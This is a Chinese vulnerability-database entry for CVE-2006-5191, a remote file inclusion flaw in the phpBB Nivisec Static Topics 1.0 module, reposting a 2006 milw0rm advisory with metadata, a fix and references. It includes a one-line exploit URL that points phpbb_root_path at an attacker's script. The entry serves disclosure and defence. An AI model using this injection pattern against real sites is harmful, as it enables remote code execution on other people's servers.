phpBB Nivisec Static Topics模块 'functions_static_topics.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111191 漏洞类型 代码注入
发布时间 2006-10-04 更新时间 2007-07-06
CVE编号 CVE-2006-5191 CNNVD-ID CNNVD-200610-165
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2477
https://www.securityfocus.com/bid/20353
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-165
|漏洞详情
phpBB1.0的NivisecStaticTopics模块中的ncludes/functions_static_topics.php存在PHP远程文件包含漏洞,远程攻击者可以通过phpbb_root_path参数中的URL执行任意PHP代码。
|漏洞EXP
---------------------------------------------------------------------------
phpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : phpBB Static Topics
version : 1.0
URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

# milw0rm.com [2006-10-04]
|受影响的产品
Nivisec Static Topics 1.0
|参考资料

来源:XF
名称:phpbb-functionsstatictopics-file-include(29347)
链接:http://xforce.iss.net/xforce/xfdb/29347
来源:BID
名称:20353
链接:http://www.securityfocus.com/bid/20353
来源:MILW0RM
名称:2477
链接:http://www.milw0rm.com/exploits/2477
来源:VUPEN
名称:ADV-2006-3916
链接:http://www.frsirt.com/english/advisories/2006/3916
来源:SECUNIA
名称:22269
链接:http://secunia.com/advisories/22269
来源:OSVDB
名称:29506
链接:http://www.osvdb.org/29506
来源:www.nivisec.com
链接:http://www.nivisec.com/article.php?l=vi&ar=20
来源:MILW0RM
名称:2477
链接:http://milw0rm.com/exploits/2477